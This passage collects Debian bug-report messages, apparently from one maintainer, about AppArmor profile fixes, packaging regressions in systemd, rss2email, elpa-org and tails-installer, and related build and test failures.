it's obsoleted by yours (I'll close it).

>> … and then propose a branch forked off current Vcs-Git on the Debian side?

> Sorry I do not follow, how do I propose branch for Debian?

Fork the repo somewhere, push your branch there, and point to it from
this bug report (with a "Control: tag -1 + patch" pseudo-header).

Please ensure you update debian/README.Debian accordingly so it points
to the correct upstream MR :)

Cheers,
-- 
intrigeri

Bug#873628: systemd: Apparent regression on #825394, logind.conf accepts upstream default of KillUserProcesses=yes

[intrigeri]

Control: fixed -1 234-3

Hi,

Felipe Sateler:
> This has already been fixed in git[1] but not yet uploaded. It should be
> part of the next upload.

> https://anonscm.debian.org/cgit/pkg-systemd/systemd.git/commit/?id=6bd0dab41

It's now been uploaded (234-3) but apparently debian/changelog missed
the required "Closes: #nn".

Thanks!

Cheers,
-- 
intrigeri

Bug#878040: tails-installer: Creates non-bootable USB sticks on current testing/sid

[intrigeri]

Package: tails-installer
Version: 4.4.18+dfsg-1
Severity: serious
Tags: upstream
X-Debbugs-Cc: ano...@riseup.net

Hi!

Since a recent udisks2 update in Debian testing/sid, Tails Installer
creates USB sticks that are bootable neither with legacy BIOS (because
of the lack of the "legacy BIOS boot" GPT flag) nor with UEFI (because
the system partition has not the ESP type).

A workaround already implemented upstream (not released yet) will fix
UEFI boot; it should be released by mid-November to the latest.

But fixing legacy BIOS boot requires fixes in udisks2 and libblockdev
which have been submitted to the corresponding projects already:

 - https://github.com/storaged-project/udisks/pull/416
 - https://github.com/storaged-project/libblockdev/pull/288

The corresponding Tails upstream bug is:
https://labs.riseup.net/code/issues/14809

Stretch is not affected.

Cheers,
-- 
intrigeri

Bug#877965: elpa-org: Fails to configure upon upgrade from 9.0.9+dfsg-4 to 9.1.2+dfsg-1

[intrigeri]

unction (as of Org 9.0); use ‘pop-to-buffer-same-window’
instead.
org-wikinodes.el:251:1:Warning: global/dynamic var ‘target’ lacks a prefix

In orgtbl-to-sqlinsert:
orgtbl-sqlinsert.el:82:39:Warning: reference to free variable ‘sqlname’

In org-bibtex-goto-citation:
ox-bibtex.el:163:20:Warning: reference to free variable ‘org-bibtex-file’
ox-bibtex.el:171:29:Warning: ‘org-add-link-type’ is an obsolete function (as
of Org 9.0); use ‘org-link-set-parameters’ instead.

In org-bibtex-process-bib-files:
ox-bibtex.el:240:23:Warning: assignment to free variable
‘org-bibtex-html-entries-alist’
ox-bibtex.el:278:21:Warning: assignment to free variable
‘org-bibtex-html-keywords-alist’
ox-bibtex.el:239:47:Warning: reference to free variable
‘org-bibtex-html-entries-alist’
ox-bibtex.el:277:36:Warning: reference to free variable
‘org-bibtex-html-keywords-alist’

In end of data:
ox-bibtex.el:432:1:Warning: the function ‘obe-citations’ is not known to be
defined.

In toplevel form:
ox-confluence.el:65:1:Warning: defcustom for ‘org-confluence-lang-alist’ fails
to specify containing group
ox-confluence.el:65:1:Warning: defcustom for ‘org-confluence-lang-alist’ fails
to specify containing group

In org-deck--cleanup-components:
ox-deck.el:98:45:Warning: function ‘remove-duplicates’ from cl package called
at runtime

In end of data:
ox-extra.el:212:1:Warning: the function ‘org-edit-src-find-region-and-lang’ is
not known to be defined.

In end of data:
ox-s5.el:433:1:Warning: the function ‘org-html-end-plain-list’ is not known to
be defined.
ERROR: install script from elpa-org package failed
dpkg: error processing package elpa-org (--configure):
 subprocess installed post-installation script returned error exit status 1


-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (990, 'unstable'), (500, 'stable-updates'), (500, 
'oldstable-updates'), (500, 'testing'), (500, 'stable'), (500, 'oldstable'), 
(1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.13.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages elpa-org depends on:
ii  elpa-htmlize1.51-1
ii  emacsen-common  2.0.8

Versions of packages elpa-org recommends:
ii  emacs  47.0

Versions of packages elpa-org suggests:
pn  ditaa  
ii  org-mode-doc   9.1.2-1
ii  texlive-fonts-recommended  2017.20171004-1
ii  texlive-latex-extra2017.20171004-1

-- no debconf information

-- 
intrigeri

Bug#877926: libvirt-daemon-system: Can't start VMs with AppArmor enabled and Linux 4.13+

[intrigeri]

Package: libvirt-daemon-system
Version: 3.7.0-4
Severity: normal
Tags: patch

Hi,

since I've upgraded to Linux 4.13 my VMs don't start anymore,
and virt-manager tells me "Error starting domain: internal error:
child reported: Kernel does not provide mount namespace: Permission
denied".

The logs say:

  apparmor="DENIED" operation="ptrace" profile="/usr/sbin/libvirtd" pid=19409 
comm="libvirtd" requested_mask="trace" denied_mask="trace" 
peer="libvirt-14dcf3fa-a4d5-4c5a-82ea-3f624b44c7ef"

This (stolen from Ubuntu) fixes it:

--- a/apparmor.d/usr.sbin.libvirtd
+++ b/apparmor.d/usr.sbin.libvirtd
@@ -37,6 +37,9 @@
   network packet dgram,
   network packet raw,
 
+  # Grant bare ptrace
+  ptrace,
+
   # Very lenient profile for libvirtd since we want to first focus on confining
   # the guests. Guests will have a very restricted profile.
   / r,

Cheers,
-- 
intrigeri

Bug#875620: aufs-dkms: Please enable compilation with kernel 4.13

[intrigeri]

Control: severity -1 serious

Hi,

> I tried aufs with kernel 4.13-rc7 from experimental and it seems to
> compile and work well. Please consider enabling this kernel in
> dkms.conf.

Too bad this didn't happen before 4.13 reached sid and gets
depended on by linux-image-amd64 ⇒ bumping severity to RC.

I wanted to propose a Git branch ready to merge, but the latest tag
pushed to Vcs-Git is debian/4.11+20170703-1 (and the master branch
matches), which makes it harder to help than I would like.

Cheers,
-- 
intrigeri

Bug#877581: About help

[intrigeri]

Vincas Dargis:
> After your call [0] write here to help.

Thanks! :)

> What can I aquatically do? Install experimental kernel on VM and check if 
> profiles there and here does not produces denies?

Yes. Likely they will.

And then you might want to fork the Vcs-Bzr, read README.source,
report to the BTS anything that's unclear in it, apply the proposed
patch, build, test, report and send a merge request here.

Bug#877581: apparmor: Ensure Linux 4.14 does not break abstractions/nameservice

[intrigeri]

Package: apparmor
Version: 2.11.0-11
Severity: important

This bug is meant to track
https://lists.alioth.debian.org/pipermail/pkg-apparmor-team/2017-October/001755.html

We should apply this patch as a temporary workaround before Linux 4.14
reaches Debian (ideally, before it reaches experimental).

Bug#742829: closed by intrigeri <intrig...@debian.org> (Bug#742829: fixed in apparmor 2.10.95-8)

[intrigeri]

Hi,

Guido Günther:
> On Fri, Sep 29, 2017 at 04:09:02PM -0400, Daniel Richard G. wrote:
>>   #include 

> This file is currently not included in Debian's apparmor
> package. @intrigeri, can this be added?

Before r1608 (in Vcs-Bzr) we shipped that file in
/usr/share/apparmor-profiles/abstractions/ubuntu-browsers.d/

I don't see any Include directive for that path in
/etc/apparmor/parser.conf, so I doubt it was actually used.

> I assume we don't want other packages to mess around
> in abstractions?

I think it's fine: any package can ship the abstractions it needs (and
quite a few do), as long as side-effects are considered carefully.
In the case at hand, it seems that
/etc/apparmor.d/abstractions/ubuntu-browsers.d is a place from which
profiles can include selected bits they need, rather than a directory
that will get included all at once, so there's no side effect and we
should be good (checked with codesearch.d.net that supports my guess :)

Cheers,
-- 
intrigeri

Bug#877325: rss2email: ImportError: No module named rss2email.main

[intrigeri]

Package: rss2email
Version: 1:3.9-3
Severity: grave

Hi,

since I've upgraded from 1:3.9-2.1 to 1:3.9-3,
rss2email fails to start:

  $ r2e
  Traceback (most recent call last):
File "/usr/bin/r2e", line 3, in 
  import rss2email.main
  ImportError: No module named rss2email.main

diffoscope tells me that this upgrade changed the shebang in
/usr/bin/r2e from /usr/bin/python3 to /usr/bin/python. But the code is
installed in /usr/lib/python3/dist-packages/rss2email, so I'm not
surprised it can't be found by a python2 interpreter. Setting it back
to /usr/bin/python3 fixes the problem for me.

I suspect that this:

 override_dh_python3:
dh_python3 --shebang=/usr/bin/python3

… should have been kept when doing commit 342beb1.

But I guess I'm doing something wrong, because if the package was
totally broken for everybody as it is for me, someone else (starting
with the maintainer) would have noticed and reported this earlier.

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (990, 'unstable'), (500, 'stable-updates'), (500, 
'oldstable-updates'), (500, 'testing'), (500, 'stable'), (500, 'oldstable'), 
(1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.12.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages rss2email depends on:
ii  python  2.7.14-1
ii  python3 3.5.3-3
ii  python3-feedparser  5.1.3-3
ii  python3-html2text   2016.9.19-1

Versions of packages rss2email recommends:
ii  python3-bs4  4.6.0-1

Versions of packages rss2email suggests:
pn  esmtp  

-- no debconf information


-- 
intrigeri

Bug#876647: dh-apparmor: Please support /etc/apparmor.d/apache

[intrigeri]

Hi,

Guido Günther:
> if a package drops a file into /etc/apparmor.d/apache we should do a

>   apparmor_parser -r /etc/apparmor.d/usr.lib.apache2.mpm-prefork.apache2  
>   

I can't find any such profile in current sid. Apparently since a few
years it's rather something like "if a package drops a file in
/etc/apparmor.d/apache2.d then we should reload the usr.sbin.apache2
profile". Right?

> Since dh-apparmor has all the logic to detect that aa is in use it
> would be great if it would handle this case as well.

Agreed, this would be a nice addition! :)

FTR I don't use AppArmor for Apache personally so there's very little
chance I work on this any time soon. Patches are welcome.

> This would make sure we handle things like #872266 too once fixed.

Now you make me curious: I don't understand how this is related.

Cheers,
-- 
intrigeri

Bug#877255: apparmor-profiles-extra: usr.bin.totem profile produces aa-logprof error: permission contains unknown character(s) Pux

[intrigeri]

Hi,

Vincas Dargis:
> Running `aa-logprof` produces this error:

> ERROR: permission contains unknown character(s) Pux

[...]

> Looking at `man apparmor.d`, I see these modes:

> EXEC TRANSITION =  ( 'ix' | 'ux' | 'Ux' | 'px' | 'Px' | 'cx' | 'Cx' |
> 'pix' | 'Pix' | 'cix' | 'Cix' | 'pux' | 'PUx' | 'cux' | 'CUx' | 'x' )

> and Pux is not mentioned.

Interestingly
http://wiki.apparmor.net/index.php/AppArmor_Core_Policy_Reference#Execute_rules
says that Pux is supported since 2.5, so I wonder who's correct.

Anyway, "P" was a mistake as I intended to disable environment
variable scrubbing:  bwrap needs $HOME (see bwrap(1)) and will clean
the environment itself.

Replacing Pux with pux fixes the problem you've seen here, and better
expresses what I intended initially.

Can you please confirm? If that works, would you be up to
update my merge request upstream accordingly:
https://code.launchpad.net/~intrigeri/apparmor-profiles/+git/apparmor-profiles/+merge/331058
… and then propose a branch forked off current Vcs-Git on the Debian side?

Cheers,
-- 
intrigeri

Bug#742829: closed by intrigeri <intrig...@debian.org> (Bug#742829: fixed in apparmor 2.10.95-8)

[intrigeri]

Guido Günther:
> On Wed, Sep 27, 2017 at 04:47:27PM -0400, Daniel Richard G. wrote:
>> That would amount to the Debian Chromium maintainers becoming the new
>> upstream for the profile.

> Or maybe people caring about the chromium profile like you, me and
> others in this thread.

Fine with me, that sounds reasonable :)

Cheers,
-- 
intrigeri

Bug#851694: qemu: Formatting USB disks to EXT4 with nec-xhci USB controller fails with Buffer I/O fails

[intrigeri]

Control: fixed -1 1:2.10.0+dfsg-1
Control: tag -1 - moreinfo

Hi Michael,

Michael Tokarev:
> 24.04.2017 19:26, anonym wrote:
>> Sorry for the complicated reproducer, but here goes:
>> [...]
>> You'll notice that the installation never finishes, and you'll see
>> the error reported above via `sudo journalctl`.

I think that reproducer was incorrect: the bug
(https://labs.riseup.net/code/issues/12142) does not happen when
installing Tails, but rather when setting up a persistent volume from
within Tails.

> The installation goes on just fine here.
> […]
> What I'm doing wrong? :)

I'm sorry my team-mate did not follow up on this. I should
have checked.

Anyway, thankfully this does not matter: upstream independently
applied (commit 99f9aeb) the exact change that anonym submitted them
early. I've verified that this bug is fixed in 1:2.10.0+dfsg-1 :)

Would you be open to applying that change in Stretch via stable p-u?

Cheers,
-- 
intrigeri

Bug#874077: clutter-1.0: build tests fail on Debian but pass on Ubuntu

[intrigeri]

Hi,

Jeremy Bicha:
> ERROR: actor-anchors
> 

> (actor-anchors:21072): GLib-CRITICAL **: g_strsplit: assertion 'string
> != NULL' failed
> Segmentation fault
> ERROR: actor-anchors - missing test plan
> ERROR: actor-anchors - exited with status 139 (terminated by signal 11?)

Reproduced on current sid.

Interestingly, this happened for:

 - 1.26.2+dfsg-3 (sid, x86-ubc-01) on September 2
 - 1.26.2+dfsg-2 (experimental, binet) on August 31
 - 1.26.0+dfsg-4 (experimental, binet) on May 9

… but did not happen for:

 - 1.26.2+dfsg-1 (sid, x86-ubc-01) on July 2
 - 1.26.0+dfsg-3 (sid, x86-ubc-01) on March 12
 - 1.26.0+dfsg-1 (sid, x86-csail-01) last Oct 9

I initially thought "oh, that's caused by a build-dep that was in
experimental earlier and uploaded to sid between July 2 and August
31", but in the failure logs on experimental I can't see any build-dep
pulled from experimental.

FWIW in a sid VM (libvirt/QEMU, GNOME on Wayland, QXL graphics so
llvmpipe is used), /usr/lib/x86_64-linux-gnu/installed-tests/clutter/*
all pass with and without the `xvfb-run -a' adverb, except
actor-layout that segfaults (in wl_proxy_add_listener, no g_strsplit
assertion failure, so probably unrelated). So I bet that the reason
why the tests fail on our buildds is caused by a more restrictive
environment than what this test suite expects.

Cheers,
-- 
intrigeri

Bug#876484: torbrowser-launcher: stuck in "Tor exited during startup" loop with AppArmor

[intrigeri]

Chris Lamb:
>> But I guess that this bug won't come back now that you've cleared
>> .local/share/torbrowser

> Mmm. I'm therefore going to close this bug; doesn't seem very useful keeping
> it open now.

Well, I see no indication that makes me confident it won't happen to
anyone else. I'll let Roger or Ulrike reopen if they think it's the
right thing to do.

Bug#876484: torbrowser-launcher: stuck in "Tor exited during startup" loop with AppArmor

[intrigeri]

Control: user pkg-apparmor-t...@lists.alioth.debian.org
Contol: usertag -1 + help-needed

Hi Chris!

Chris Lamb:
> Ah, this is due to apparmor:

> Sep 22 18:41:57 keyboardcat.chris-lamb.co.uk kernel: audit: type=1400
> audit(1506102117.020:467): apparmor="DENIED" operation="chmod"
> profile="/home/*/.local/share/torbrowser/tbb/{i686,x86_64}/tor-browser_*/{Browser/TorBrowser/,}Tor/tor"
> name="/home/lamby/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/Tor/"
> pid=3338 comm="tor" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000

Well spotted, thanks!

If you can ever reproduce the problem, please:

1. Edit /etc/apparmor.d/torbrowser.Tor.tor and replace:

 owner 
@{HOME}/.local/share/torbrowser/tbb/{i686,x86_64}/tor-browser_*/{Browser/TorBrowser/,}Data/Tor/
 r,

   with:

 owner 
@{HOME}/.local/share/torbrowser/tbb/{i686,x86_64}/tor-browser_*/{Browser/TorBrowser/,}Data/Tor/
 rw,

2. sudo apparmor_parser -r /etc/apparmor.d/torbrowser.Tor.tor

3. Restart Tor Browser.

But I guess that this bug won't come back now that you've cleared
.local/share/torbrowser, so I'll go ahead and submit this
change upstream.

Cheers!

Bug#876484: [Pkg-privacy-maintainers] Bug#876484: torbrowser-launcher: stuck in "Tor exited during startup" loop with AppArmor

[intrigeri]

Hi Roger,

Roger Shimizu:
> I tried to purge the local binary (~/.local/share/torbrowser) and
> install 0.2.6-3.1 on stretch, confirmed working well, and then
> upgraded to latest 0.2.8-2, confirmed working well, too.

Just to be extra clear: with AppArmor enabled?

Note that Chris already provided the log about the AppArmor policy bug
that presumably causes the problem :)

Cheers,
-- 
intrigeri

Bug#874100: thunderbird: Let's clarify what's the upstream for our AppArmor profile

[intrigeri]

Hi!

Simon Deziel:
> On 2017-09-20 11:26 AM, intrigeri wrote:
>>> My only concern is what to do when those new rules are stalled
>>> waiting on review? Could they be integrated to the Debian version while
>>> waiting for the official merge? If yes, I think that's the best of both
>>> worlds.
>> 
>> For the record I generally don't wait for upstream to review'n'merge
>> before I apply fixes to AppArmor policy in Debian packages I maintain:
>> the "upstream first" moto does matter to me, but in practice I define
>> it as "submit upstream first and then upload to Debian" rather than as
>> "wait for upstream to ACK my proposed changes before fixing the
>> problem our users are complaining about". So yeah, I think we can
>> definitely have the best of both worlds :)
>> 
>> Now, wrt. Thunderbird specifically: so far, AFAIK the maintainers of
>> src:icedove in Debian haven't bothered taking stuff from upstream's
>> apparmor-profiles.git directly. Instead, they are kind enough to apply
>> any reasonable update we (= mostly Ulrike, but I'm sure she would not
>> mind if you and I gave her a hand) ask them to take.
>> 
>> So I would suggest we forward them any update we think should go in
>> Debian, as soon as we've submitted it upstream, without waiting for
>> upstream to review. Now, let's keep in mind that these changes will go
>> straight to Debian *stable* in the next security upload — if I'm not
>> mistaken). So perhaps a little bit of peer-review would be in order.
>> For example, assuming one of us three sends a merge request to
>> Launchpad, as soon as any of the other two ACKs it, we ask the
>> src:icedove maintainers to take it. I.e. we piggy pack on the existing
>> upstream review process and tools and save some paperwork.
>> 
>> Deal?

> Sure works for me, thanks for proposing this sensible workflow!

OK, glad we're on the same page :)

Let's wait for Ulrike's input before closing this bug though.

Ulrike, what do you think?

FTR I've just requested commit access to the Vcs-Git of src:icedove,
which if granted might streamline the process a bit more :)

Cheers,
-- 
intrigeri